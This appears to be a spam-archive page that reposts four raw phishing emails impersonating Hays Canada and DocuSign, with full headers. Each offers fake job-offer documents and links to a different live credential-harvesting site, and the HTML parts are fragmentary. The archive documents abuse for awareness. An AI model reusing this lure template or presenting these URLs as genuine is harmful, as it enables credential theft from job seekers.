Hays Canada Phish from dynamic1001.com bacau.rdsnet.ro

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 21 Dec 2023 16:36:13 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.97 (FreeBSD))

(envelope-from )

id 1rGSOq-00000000As7-0G8a

for dave@doctor.nl2k.ab.ca;

Thu, 21 Dec 2023 16:24:20 -0700

Resent-From: The Doctor

Resent-Date: Thu, 21 Dec 2023 16:24:20 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from [82.77.7.66] (port=36536 helo=server.2fastnet.ro)

by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

(Exim 4.97 (FreeBSD))

(envelope-from )

id 1rGSNA-00000000Aad-1X9r

for doctor@nk.ca;

Thu, 21 Dec 2023 16:22:40 -0700

Received: from [127.0.0.1] (h-87-199-11-29.dolsat.pl [87.199.11.29])

by server.2fastnet.ro (Postfix) with ESMTPA id 44593652C5CD

for ; Fri, 22 Dec 2023 01:20:30 +0200 (EET)

To: doctor@nk.ca

From: "Hays Canada"

Subject: New Document Delivered

Message-ID: <21EBBA49.4701659@2fastnet.ro>

Date: Thu, 21 Dec 2023 23:20:30 +0000

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:38.0) Gecko/20100101

Thunderbird/38.2.0

MIME-Version: 1.0

Content-Type: multipart/alternative;

boundary="------------767490016857917739975458"

X-Antivirus: AVG (VPS 231221-4, 12/21/2023), Inbound message

X-Antivirus-Status: Clean



This is a multi-part message in MIME format



--------------767490016857917739975458

Content-Type: text/plain; charset=UTF-8

Content-Transfer-Encoding: quoted-printable





=20



=20



Hello,

this email is to notify you that new documents have been delivered to =

your Docusign (HAYS)PremiumsFilesTransfersToolinbox:

joboffer.pdf,conditionaloffer_proj.pdf,salary_g.pdf,calculation.pdf,he=

alth_safety.pdf,legisl_req.pdf, policies.pdf,recruitm_agent.pdf

There are a total of 8 documents. Log in below to read these documents=

=2E

Best regards,

Hays

=20







Your documents have been completed and sent to you



https://juflores.tjatech.com.br/exorcize/?a=3DID2119



Hays sent this email to:doctor@nk.ca

=20

=20



Do Not Share This Email

This email contains a secure link to DocuSign. Please do not share thi=

s email, link, or access code with others.

About DocuSign

Sign documents electronically in just minutes. It's safe, secure, and =

legally binding. Whether you're in an office, at home, on-the-go -- or=

even across the globe -- DocuSign provides a professional trusted sol=

ution for Digital Transaction Management=E2=84=A2.

Questions about the Document?

If you need to modify the document or have questions about the details=

in the document, please reach out to the sender by emailing them dire=

ctly.

This message was sent to you by Hays who is using the DocuSign Electro=

nic Signature Service. If you would rather not receive email from this=

sender you may contact the sender with your request.

=20



--------------767490016857917739975458

Content-Type: text/html; charset=UTF-8

Content-Transfer-Encoding: quoted-printable








pe" />





Hays job offer




ca,Arial,Sans Serif;">


0" dir=3D"" role=3D"presentation" width=3D"100%">















 


llapse:collapse;background-color:#ffffff;max-width:640px;">











































 





3D"DocuSign"
ok/assets/img/svg/logo.svg" style=3D"border: medium; width: 150px;" />=








Hello,





this email is to notify you that new documents have been deli=

vered to your Docusign (HAYS)
lass=3D"d-inline font-weight-bold">Premium
;">s
FilesTransfer
yle=3D"color:#FFFFFF;">s
Tool
inbox:





joboffer.pdf, conditionaloffer_proj.=

pdf, salary_g.pdf, c=

alculation.pdf, health_safety.pdf,
s=3D"pdf-name">legisl_req.pdf, policies.pdf,

an>
recruitm_agent.pdf





There are a total of 8 documents. Log in below to read these =

documents.





Best regards,





Hays


 








3D""
email/Email_Logo.png" style=3D"width: 116px; height: 34px; float: righ=

t;" />






ng=3D"0" role=3D"presentation" style=3D"background-color:#1e4ca1;color=

:#FFFFFF;" width=3D"100%">












der-radius:2px;background-color:#1e4ca1;color:#FFFFFF;font-size:16px;f=

ont-family:Helvetica,Arial,Sans Serif;width:100%;text-align:center;"><=

img alt=3D"" height=3D"75" src=3D"https://www.docusign.net/member/Imag=

es/email/docComplete-white.png" style=3D"width:75px;height:75px;" widt=

h=3D"75" />


"presentation" width=3D"100%">










6px;font-family:Helvetica,Arial,Sans Serif;border:none;text-align:cent=

er;color:#FFFFFF">Your documents have been completed and sent to you
td>






"presentation" width=3D"100%">




























4px;color:#FFFFFF;background-color:#1e4ca1;font-family:Helvetica,Arial=

,Sans Serif;font-weight:bold;text-align:center;text-decoration:none;;b=

order-radius:2px;border: 1px solid #FFFFFF;background-color:#1e4ca1;he=

ight:100%;display:block;">
xorcize/?a=3DID2119" target=3D"_blank">
;">
style=3D"color:#FFFFFF;">VIEW COMPLETED DOCUMENTS









16px;font-family:Helvetica,Arial,Sans Serif;background-color:white;">


presentation">














ght:bold;line-height:18px;font-size:15px;color:#333333;">Hays sent thi=

s email to:





ght:18px;font-size:15px;color:#666666;">doctor@nk.ca







rial,Sans Serif;line-height:20px;"> 




;font-family:Helvetica,Arial,Sans Serif;font-size:11px;color:#666666;"=


A;">


erif;font-size:13px;color:#666666;line-height:18px;">
3" role=3D"heading">Do Not Share This Email



This email contains a secure link to DocuSign. Please do not sha=

re this email, link, or access code with others.






erif;font-size:13px;color:#666666;line-height:18px;">
3" role=3D"heading">About DocuSign



Sign documents electronically in just minutes. It's safe, se=

cure, and legally binding. Whether you're in an office, at home, o=

n-the-go -- or even across the globe -- DocuSign provides a profession=

al trusted solution for Digital Transaction Management™.






erif;font-size:13px;color:#666666;line-height:18px;">
3" role=3D"heading">Questions about the Document?



If you need to modify the document or have questions about the d=

etails in the document, please reach out to the sender by emailing the=

m directly.






erif;font-size:13px;color:#666666;line-height:18px;">This message was =

sent to you by Hays who is using the DocuSign Electronic Signature Ser=

vice. If you would rather not receive email from this sender you may c=

ontact the sender with your request.




A;"> 


 





p=3D"text" />





/>





--------------767490016857917739975458--



Hays Canada Phish from dynamic1001.com

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 21 Dec 2023 16:36:13 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.97 (FreeBSD))

(envelope-from )

id 1rGSOl-00000000Ary-44fg

for dave@doctor.nl2k.ab.ca;

Thu, 21 Dec 2023 16:24:15 -0700

Resent-From: The Doctor

Resent-Date: Thu, 21 Dec 2023 16:24:15 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mx.dynamic1001.com ([88.198.227.148]:54506)

by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

(Exim 4.97 (FreeBSD))

(envelope-from )

id 1rGS36-000000005aN-1A4L

for doctor@nk.ca;

Thu, 21 Dec 2023 16:01:56 -0700

Received: from localhost (localhost [127.0.0.1])

by mx.dynamic1001.com (Postfix) with ESMTP id D0176EA6E5

for ; Thu, 21 Dec 2023 23:59:46 +0100 (CET)

Received: from mx.dynamic1001.com ([127.0.0.1])

by localhost (mx.dynamic1001.com [127.0.0.1]) (amavisd-new, port 10032)

with ESMTP id L8x475VuGJqT for ;

Thu, 21 Dec 2023 23:59:45 +0100 (CET)

Received: from localhost (localhost [127.0.0.1])

by mx.dynamic1001.com (Postfix) with ESMTP id 68D00EA6DA

for ; Thu, 21 Dec 2023 23:59:45 +0100 (CET)

X-Virus-Scanned: amavisd-new at mx.dynamic1001.com

Received: from mx.dynamic1001.com ([127.0.0.1])

by localhost (mx.dynamic1001.com [127.0.0.1]) (amavisd-new, port 10026)

with ESMTP id KBSJ4cCeevj1 for ;

Thu, 21 Dec 2023 23:59:45 +0100 (CET)

Received: from [127.0.0.1] (unknown [185.107.44.202])

by mx.dynamic1001.com (Postfix) with ESMTPSA id 45444EA6D3

for ; Thu, 21 Dec 2023 23:59:44 +0100 (CET)

To: doctor@nk.ca

From: "Hays - Recruitment Agency"

Subject: A new document has been delivered to your inbox

Message-ID: <23E6C07B.1202277@inventyv.com>

Date: Thu, 21 Dec 2023 22:59:44 +0000

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:38.0) Gecko/20100101

Thunderbird/38.0.0

MIME-Version: 1.0

Content-Type: multipart/alternative;

boundary="------------913681322827921022122918"

X-Antivirus: AVG (VPS 231221-4, 12/21/2023), Inbound message

X-Antivirus-Status: Clean



This is a multi-part message in MIME format



--------------913681322827921022122918

Content-Type: text/plain; charset=UTF-8

Content-Transfer-Encoding: quoted-printable





=20



=20



Hello,

this email is to notify you that new documents have been delivered to =

your Docusign (HAYS)PremiumsFilesTransfersToolinbox:

joboffer.pdf,conditionaloffer_proj.pdf,salary_g.pdf,calculation.pdf,he=

alth_safety.pdf,legisl_req.pdf, policies.pdf,recruitm_agent.pdf

There are a total of 8 documents. Log in below to read these documents=

=2E

Best regards,

Hays

=20







Your documents have been completed and sent to you



https://ziaadstudio.com/condemn/?a=3DID2119



Hays sent this email to:doctor@nk.ca

=20

=20



Do Not Share This Email

This email contains a secure link to DocuSign. Please do not share thi=

s email, link, or access code with others.

About DocuSign

Sign documents electronically in just minutes. It's safe, secure, and =

legally binding. Whether you're in an office, at home, on-the-go -- or=

even across the globe -- DocuSign provides a professional trusted sol=

ution for Digital Transaction Management=E2=84=A2.

Questions about the Document?

If you need to modify the document or have questions about the details=

in the document, please reach out to the sender by emailing them dire=

ctly.

This message was sent to you by Hays who is using the DocuSign Electro=

nic Signature Service. If you would rather not receive email from this=

sender you may contact the sender with your request.

=20



--------------913681322827921022122918

Content-Type: text/html; charset=UTF-8

Content-Transfer-Encoding: quoted-printable








pe" />





Hays job offer




ca,Arial,Sans Serif;">


0" dir=3D"" role=3D"presentation" width=3D"100%">















 


llapse:collapse;background-color:#ffffff;max-width:640px;">











































 





3D"DocuSign"
ok/assets/img/svg/logo.svg" style=3D"border: medium; width: 150px;" />=








Hello,





this email is to notify you that new documents have been deli=

vered to your Docusign (HAYS)
lass=3D"d-inline font-weight-bold">Premium
;">s
FilesTransfer
yle=3D"color:#FFFFFF;">s
Tool
inbox:





joboffer.pdf, conditionaloffer_proj.=

pdf, salary_g.pdf, c=

alculation.pdf, health_safety.pdf,
s=3D"pdf-name">legisl_req.pdf, policies.pdf,

an>
recruitm_agent.pdf





There are a total of 8 documents. Log in below to read these =

documents.





Best regards,





Hays


 








3D""
email/Email_Logo.png" style=3D"width: 116px; height: 34px; float: righ=

t;" />






ng=3D"0" role=3D"presentation" style=3D"background-color:#1e4ca1;color=

:#FFFFFF;" width=3D"100%">












der-radius:2px;background-color:#1e4ca1;color:#FFFFFF;font-size:16px;f=

ont-family:Helvetica,Arial,Sans Serif;width:100%;text-align:center;"><=

img alt=3D"" height=3D"75" src=3D"https://www.docusign.net/member/Imag=

es/email/docComplete-white.png" style=3D"width:75px;height:75px;" widt=

h=3D"75" />


"presentation" width=3D"100%">










6px;font-family:Helvetica,Arial,Sans Serif;border:none;text-align:cent=

er;color:#FFFFFF">Your documents have been completed and sent to you
td>






"presentation" width=3D"100%">




























4px;color:#FFFFFF;background-color:#1e4ca1;font-family:Helvetica,Arial=

,Sans Serif;font-weight:bold;text-align:center;text-decoration:none;;b=

order-radius:2px;border: 1px solid #FFFFFF;background-color:#1e4ca1;he=

ight:100%;display:block;">
a=3DID2119" target=3D"_blank">
"color:#FFFFFF;">VIEW COMPLETED DOCUMENTS









16px;font-family:Helvetica,Arial,Sans Serif;background-color:white;">


presentation">














ght:bold;line-height:18px;font-size:15px;color:#333333;">Hays sent thi=

s email to:





ght:18px;font-size:15px;color:#666666;">doctor@nk.ca







rial,Sans Serif;line-height:20px;"> 




;font-family:Helvetica,Arial,Sans Serif;font-size:11px;color:#666666;"=


A;">


erif;font-size:13px;color:#666666;line-height:18px;">
3" role=3D"heading">Do Not Share This Email



This email contains a secure link to DocuSign. Please do not sha=

re this email, link, or access code with others.






erif;font-size:13px;color:#666666;line-height:18px;">
3" role=3D"heading">About DocuSign



Sign documents electronically in just minutes. It's safe, se=

cure, and legally binding. Whether you're in an office, at home, o=

n-the-go -- or even across the globe -- DocuSign provides a profession=

al trusted solution for Digital Transaction Management™.






erif;font-size:13px;color:#666666;line-height:18px;">
3" role=3D"heading">Questions about the Document?



If you need to modify the document or have questions about the d=

etails in the document, please reach out to the sender by emailing the=

m directly.






erif;font-size:13px;color:#666666;line-height:18px;">This message was =

sent to you by Hays who is using the DocuSign Electronic Signature Ser=

vice. If you would rather not receive email from this sender you may c=

ontact the sender with your request.




A;"> 


 





p=3D"text" />





/>





--------------913681322827921022122918--



Hays Canada Phish from han-solo.net

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 21 Dec 2023 16:36:13 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.97 (FreeBSD))

(envelope-from )

id 1rGSOZ-00000000Arf-1gG8

for dave@doctor.nl2k.ab.ca;

Thu, 21 Dec 2023 16:24:03 -0700

Resent-From: The Doctor

Resent-Date: Thu, 21 Dec 2023 16:24:03 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from sinida.han-solo.net ([83.138.84.113]:58150)

by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

(Exim 4.97 (FreeBSD))

(envelope-from )

id 1rGRHQ-000000002eH-12OD

for doctor@nk.ca;

Thu, 21 Dec 2023 15:12:40 -0700

X-KSD:

Received: from [127.0.0.1] (188.146.116.120.mobile.internet.t-mobile.pl [188.146.116.120] (may be forged))

(authenticated bits=0)

by sinida.han-solo.net (8.15.2/8.15.2) with ESMTPSA id 3BLM17vR000585

(version=TLSv1 cipher=ECDHE-RSA-AES256-SHA bits=256 verify=NOT)

for ; Thu, 21 Dec 2023 23:10:31 +0100 (CET)

(envelope-from leon.wilke@digitalart-media.de)

X-Authentication-Warning: sinida.han-solo.net: Host 188.146.116.120.mobile.internet.t-mobile.pl [188.146.116.120] (may be forged) claimed to be [127.0.0.1]

Date: Thu, 21 Dec 2023 22:10:30 +0000

Subject: New Document Delivered

Message-ID:

From: "Hays Canada"

To: doctor@nk.ca

MIME-Version: 1.0

Content-Type: multipart/alternative;

boundary="--_com.android.email_0530168086351"

X-Spam_score: 5.8

X-Spam_score_int: 58

X-Spam_bar: +++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Hello, this email is to notify you that new documents have

been delivered to your Docusign (HAYS)PremiumsFilesTransfersToolinbox: joboffer.pdf,conditionaloffer_proj.pdf,salary_g.pdf,calculation.pdf,he

[...]



Content analysis details: (5.8 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.2 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in bl.spamcop.net

[Blocked - see ]

0.0 HTML_FONT_LOW_CONTRAST BODY: HTML font color similar or identical to

background

0.0 HTML_MESSAGE BODY: HTML included in message

-0.0 T_SCC_BODY_TEXT_LINE No description available.

0.0 MAY_BE_FORGED Relay IP's reverse DNS does not resolve to IP

1.7 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)

2.4 RAZOR2_CF_RANGE_E8_51_100 Razor2 gives engine 8 confidence level

above 50%

[cf: 100]

0.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%

[cf: 100]

Subject: {SPAM?} New Document Delivered

X-Antivirus: AVG (VPS 231221-4, 12/21/2023), Inbound message

X-Antivirus-Status: Clean



This is a multi-part message in MIME format



----_com.android.email_0530168086351

Content-Type: text/plain; charset=UTF-8

Content-Transfer-Encoding: quoted-printable





=20



=20



Hello,

this email is to notify you that new documents have been delivered to =

your Docusign (HAYS)PremiumsFilesTransfersToolinbox:

joboffer.pdf,conditionaloffer_proj.pdf,salary_g.pdf,calculation.pdf,he=

alth_safety.pdf,legisl_req.pdf, policies.pdf,recruitm_agent.pdf

There are a total of 8 documents. Log in below to read these documents=

=2E

Best regards,

Hays

=20







Your documents have been completed and sent to you



https://quebecart.org/realm/?a=3DID2119



Hays sent this email to:doctor@nk.ca

=20

=20



Do Not Share This Email

This email contains a secure link to DocuSign. Please do not share thi=

s email, link, or access code with others.

About DocuSign

Sign documents electronically in just minutes. It's safe, secure, and =

legally binding. Whether you're in an office, at home, on-the-go -- or=

even across the globe -- DocuSign provides a professional trusted sol=

ution for Digital Transaction Management=E2=84=A2.

Questions about the Document?

If you need to modify the document or have questions about the details=

in the document, please reach out to the sender by emailing them dire=

ctly.

This message was sent to you by Hays who is using the DocuSign Electro=

nic Signature Service. If you would rather not receive email from this=

sender you may contact the sender with your request.

=20



----_com.android.email_0530168086351

Content-Type: text/html; charset=UTF-8

Content-Transfer-Encoding: quoted-printable








pe" />





Hays job offer




ca,Arial,Sans Serif;">


0" dir=3D"" role=3D"presentation" width=3D"100%">















 


llapse:collapse;background-color:#ffffff;max-width:640px;">











































 





3D"DocuSign"
ok/assets/img/svg/logo.svg" style=3D"border: medium; width: 150px;" />=








Hello,





this email is to notify you that new documents have been deli=

vered to your Docusign (HAYS)
lass=3D"d-inline font-weight-bold">Premium
;">s
FilesTransfer
yle=3D"color:#FFFFFF;">s
Tool
inbox:





joboffer.pdf, conditionaloffer_proj.=

pdf, salary_g.pdf, c=

alculation.pdf, health_safety.pdf,
s=3D"pdf-name">legisl_req.pdf, policies.pdf,

an>
recruitm_agent.pdf





There are a total of 8 documents. Log in below to read these =

documents.





Best regards,





Hays


 








3D""
email/Email_Logo.png" style=3D"width: 116px; height: 34px; float: righ=

t;" />






ng=3D"0" role=3D"presentation" style=3D"background-color:#1e4ca1;color=

:#FFFFFF;" width=3D"100%">












der-radius:2px;background-color:#1e4ca1;color:#FFFFFF;font-size:16px;f=

ont-family:Helvetica,Arial,Sans Serif;width:100%;text-align:center;"><=

img alt=3D"" height=3D"75" src=3D"https://www.docusign.net/member/Imag=

es/email/docComplete-white.png" style=3D"width:75px;height:75px;" widt=

h=3D"75" />


"presentation" width=3D"100%">










6px;font-family:Helvetica,Arial,Sans Serif;border:none;text-align:cent=

er;color:#FFFFFF">Your documents have been completed and sent to you
td>






"presentation" width=3D"100%">




























4px;color:#FFFFFF;background-color:#1e4ca1;font-family:Helvetica,Arial=

,Sans Serif;font-weight:bold;text-align:center;text-decoration:none;;b=

order-radius:2px;border: 1px solid #FFFFFF;background-color:#1e4ca1;he=

ight:100%;display:block;">
ID2119" target=3D"_blank">
or:#FFFFFF;">VIEW COMPLETED DOCUMENTS









16px;font-family:Helvetica,Arial,Sans Serif;background-color:white;">


presentation">














ght:bold;line-height:18px;font-size:15px;color:#333333;">Hays sent thi=

s email to:





ght:18px;font-size:15px;color:#666666;">doctor@nk.ca







rial,Sans Serif;line-height:20px;"> 




;font-family:Helvetica,Arial,Sans Serif;font-size:11px;color:#666666;"=


A;">


erif;font-size:13px;color:#666666;line-height:18px;">
3" role=3D"heading">Do Not Share This Email



This email contains a secure link to DocuSign. Please do not sha=

re this email, link, or access code with others.






erif;font-size:13px;color:#666666;line-height:18px;">
3" role=3D"heading">About DocuSign



Sign documents electronically in just minutes. It's safe, se=

cure, and legally binding. Whether you're in an office, at home, o=

n-the-go -- or even across the globe -- DocuSign provides a profession=

al trusted solution for Digital Transaction Management™.






erif;font-size:13px;color:#666666;line-height:18px;">
3" role=3D"heading">Questions about the Document?



If you need to modify the document or have questions about the d=

etails in the document, please reach out to the sender by emailing the=

m directly.






erif;font-size:13px;color:#666666;line-height:18px;">This message was =

sent to you by Hays who is using the DocuSign Electronic Signature Ser=

vice. If you would rather not receive email from this sender you may c=

ontact the sender with your request.




A;"> 


 





p=3D"text" />





/>





----_com.android.email_0530168086351--



Hays Canada Phish from netcore.co.in

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 21 Dec 2023 16:36:13 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.97 (FreeBSD))

(envelope-from )

id 1rGSOe-00000000Arp-36gB

for dave@doctor.nl2k.ab.ca;

Thu, 21 Dec 2023 16:24:08 -0700

Resent-From: The Doctor

Resent-Date: Thu, 21 Dec 2023 16:24:08 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from 101smout4.netcore.co.in ([202.162.237.101]:50142)

by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

(Exim 4.97 (FreeBSD))

(envelope-from )

id 1rGRg9-000000004DL-2bRq

for doctor@nk.ca;

Thu, 21 Dec 2023 15:38:14 -0700

Received: from tamindia.com (mail.tamindia.com [203.124.230.152])

(Authenticated sender: smtprelay_tamindia@tamindia.com)

by smtp44.netcore.in (Postfix) with ESMTPA id 9A0FDE9F854D9

for ; Fri, 22 Dec 2023 04:05:58 +0530 (IST)

DKIM-Filter: OpenDKIM Filter v2.11.0 smout2.nsmailserv.com 6E7036E058D

Received: from [127.0.0.1] (p54a81723.dip0.t-ipconnect.de [84.168.23.35])

(Authenticated sender: postmaster@eikona.in)

by internet.tamindia.com (Postfix) with ESMTPA id D9DC55640251

for ; Fri, 22 Dec 2023 04:05:51 +0530 (IST)

MIME-Version: 1.0

To: doctor@nk.ca

From: "Hays Canada"

Subject: New Document Delivered

X-Intloopheader: 0

Date: Thu, 21 Dec 2023 22:35:51 +0000

Importance: normal

X-Priority: 3

Content-Type: multipart/alternative;

boundary="_E5D2CCBA-AC83-F177-B358-02BC6FB134FB_"

Message-ID:

X-Scanned-By: MIMEDefang 3.4.1 on 10.0.0.1

X-Netcore-MailScanner-Information: Please contact the ISP for more information

X-Netcore-MailScanner-ID: D9DC55640251.AAE2A

X-Netcore-MailScanner: Found to be clean

X-MailScanner-From: postmaster@eikona.in

X-Spam-Status: No, No

X-SMTP44-MailScanner-Information: Please contact the ISP for more information

X-SMTP44-MailScanner-ID: 9A0FDE9F854D9.AFA36

X-SMTP44-MailScanner: Found to be clean

X-SMTP44-MailScanner-From: postmaster@eikona.in

X-Antivirus: AVG (VPS 231221-4, 12/21/2023), Inbound message

X-Antivirus-Status: Clean



This is a multi-part message in MIME format



--_E5D2CCBA-AC83-F177-B358-02BC6FB134FB_

Content-Type: text/plain; charset=UTF-8

Content-Transfer-Encoding: quoted-printable





CAUTION: This email has originated from outside TAM domain. Do not click on=

the links or open attachments provided in the email, unless you recognize =

the sender and know the content is safe. In case of any suspicions immediat=

ely forward the email to the Vigilance Department/IT Department as an attac=

hment.





=20



=20



Hello,

this email is to notify you that new documents have been delivered to your =

Docusign (HAYS)PremiumsFilesTransfersToolinbox:

joboffer.pdf,conditionaloffer_proj.pdf,salary_g.pdf,calculation.pdf,health_=

safety.pdf,legisl_req.pdf, policies.pdf,recruitm_agent.pdf

There are a total of 8 documents. Log in below to read these documents.

Best regards,

Hays

=20







Your documents have been completed and sent to you



https://eletricaenge.com.br/valor/?a=3DID2119



Hays sent this email to:doctor@nk.ca

=20

=20



Do Not Share This Email

This email contains a secure link to DocuSign. Please do not share this ema=

il, link, or access code with others.

About DocuSign

Sign documents electronically in just minutes. It's safe, secure, and legal=

ly binding. Whether you're in an office, at home, on-the-go -- or even acro=

ss the globe -- DocuSign provides a professional trusted solution for Digit=

al Transaction Management=E2=84=A2.

Questions about the Document?

If you need to modify the document or have questions about the details in t=

he document, please reach out to the sender by emailing them directly.

This message was sent to you by Hays who is using the DocuSign Electronic S=

ignature Service. If you would rather not receive email from this sender yo=

u may contact the sender with your request.

=20=20





--_E5D2CCBA-AC83-F177-B358-02BC6FB134FB_

Content-Type: text/html; charset=UTF-8

Content-Transfer-Encoding: quoted-printable






=3D"color: #FF0000;">  CAUTION:
=

This email has originated from outside TAM=

domain. Do not click on the links or open attachments provided in the emai=

l, unless you recognize the sender and know the content is safe. In case of=

any suspicions immediately forward the email to the Vigilance Department/I=

T Department as an attachment.


















Hays job offer




ial,Sans Serif;">


r=3D"" role=3D"presentation" width=3D"100%">







 


e:collapse;background-color:#ffffff;max-width:640px;">













 





3D"DocuSign"
sets/img/svg/logo.svg" style=3D"border: medium; width: 150px;" />








Hello,





this email is to notify you that new documents have been delivered=

to your Docusign (HAYS)
inline font-weight-bold">PremiumsFile=

sTransfer
;">s
Tool
inbox:





joboffer.pdf, conditionaloffer_proj.pdf, =

salary_g.pdf, calculation=

.pdf, health_safety.pdf, =

legisl_req.pdf, policies.pdf,
recruitm_a=

gent.pdf





There are a total of 8 documents. Log in below to read these docum=

ents.





Best regards,





Hays


 








3D""
/Email_Logo.png" style=3D"width: 116px; height: 34px; float: right;" />






"0" role=3D"presentation" style=3D"background-color:#1e4ca1;color:#FFFFFF;"=

width=3D"100%">






adius:2px;background-color:#1e4ca1;color:#FFFFFF;font-size:16px;font-family=

:Helvetica,Arial,Sans Serif;width:100%;text-align:center;">3D""
ight=3D"75" src=3D"https://www.docusign.net/member/Images/email/docComplete=

-white.png" style=3D"width:75px;height:75px;" width=3D"75" />


esentation" width=3D"100%">












ont-family:Helvetica,Arial,Sans Serif;border:none;text-align:center;color:#=

FFFFFF">Your documents have been completed and sent to you





esentation" width=3D"100%">
















olor:#FFFFFF;background-color:#1e4ca1;font-family:Helvetica,Arial,Sans Seri=

f;font-weight:bold;text-align:center;text-decoration:none;;border-radius:2p=

x;border: 1px solid #FFFFFF;background-color:#1e4ca1;height:100%;display:bl=

ock;">
blank"> VIEW COMPLETED D=

OCUMENTS

Web / SEO Spam from Microsoft Outlook

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 21 Dec 2023 16:38:00 -0700

Received: from mail-vi1eur02olkn2061.outbound.protection.outlook.com ([40.92.48.61]:33248 helo=EUR02-VI1-obe.outbound.protection.outlook.com)

by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

(Exim 4.97 (FreeBSD))

(envelope-from )

id 1rGRh9-000000004Gq-2RZy

for dave@doctor.nl2k.ab.ca;

Thu, 21 Dec 2023 15:39:25 -0700

ARC-Seal: i=1; a=rsa-sha256; s=arcselector9901; d=microsoft.com; cv=none;

b=bg5dcnFKY2VCE5fDXqlbFo5yChwD4t2KOroQ5MVsFE7nqcUWutLmZhh8Q0QnlhEUluPS/5JTnNafvsJw4u7Fjk+Pa91MUVOWr5rFMzXupQkXjkolbqiTqVUim2v7k0on7aTt8l/VZCk1g85wDfj6g++d0S5rEQuWaeJsmtB9SmSz7oPtFh0pbaeGIipaer68VWKzVJ2W8/UHoCnlBgwYRv0+IUBsY624HzYq2CDunw9pqdOMlku5HDg8c1r8+UBgY1KzhpT53Oavo2fh9MZ5hztNMlcYSX7/IYnuXB7qRSViRtdhVIFl3Frx+Fy33GpwK7GBjKEl7sUI5FRevqLd9g==

ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;

s=arcselector9901;

h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;

bh=PDIuZOifeq8hMl9ZV0eT5m33h7enTZiv1sqhnVmVHRM=;

b=ACfd1//0Q1zwQN2sRDy5jVTjHMQ/XObJw7w75p7k5FFshQ8rZ5Y3MSnL6ydWAXKa9rfLMNvUXd8lxJYX8MFdWsQF/WbtCp8O8nqybTu0Cnl31G3FiMSbDHnvA9F8DuVL0CC5+/CuIMK2GAeC5RG4VeBm9sB5ifSwzDQQbelIMp13j/YGEmpV4DJWp85TgeUxB5p2tGF+iXFgScnZgK1mw6mh7aMkhweiPxYEDVh9oKBT55Vd1vlmxwJ5O8TsPym3l651sOykQzyUcTBmZggEkR5NIlXXsN7NNOE+LQ+XJq9mDwAj2y0LjDWxaKgGGlwNidbpbZit+FSZfJsieAktUQ==

ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=none; dmarc=none;

dkim=none; arc=none

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=hotmail.com;

s=selector1;

h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;

bh=PDIuZOifeq8hMl9ZV0eT5m33h7enTZiv1sqhnVmVHRM=;

b=jYe/vtkS4QPNe6AzNKAHZ+mU5/d43GUEdTAriUEiKE4dCeLRoyboinz+aQoVn5ziu4Y/VQkurgWdp0DDD89NqnBUooO9/gh6vU4DN2dK/pocZmYMMrbxAvaGYeLvDY7y+lV6HbgnqUM+U0goPd7nOxGFLudgbCTtDf40M01yOVnSK488NSEJu5VzX8GQZZCi9Qq/zv4bVAiG6YrY7ptmwUqC5Dkc1s0VGgdu0iW6RWU6Wyn7zqtvXMREupCEJ4QFdmggSD2ZUkqmwxIoYSKb/2t9xl39KTuF0XOHYVEoj47ICtYF3fWgtWofwXTHKHVNP94vKDNeVZ9i3OI/VvpxOg==

Received: from AS2PR10MB7762.EURPRD10.PROD.OUTLOOK.COM (2603:10a6:20b:64b::22)

by DB9PR10MB8285.EURPRD10.PROD.OUTLOOK.COM (2603:10a6:10:4c9::15) with

Microsoft SMTP Server (version=TLS1_2,

cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.20.7113.21; Thu, 21 Dec

2023 22:37:02 +0000

Received: from AS2PR10MB7762.EURPRD10.PROD.OUTLOOK.COM

([fe80::17d4:aeb6:4dd:5bf1]) by AS2PR10MB7762.EURPRD10.PROD.OUTLOOK.COM

([fe80::17d4:aeb6:4dd:5bf1%7]) with mapi id 15.20.7113.019; Thu, 21 Dec 2023

22:37:02 +0000

From: dave

To: dave@doctor.nl2k.ab.ca

Subject: *** VIRUS ***Quote & Estimate

Date: 21 Dec 2023 14:31:15 -0800

Message-ID:



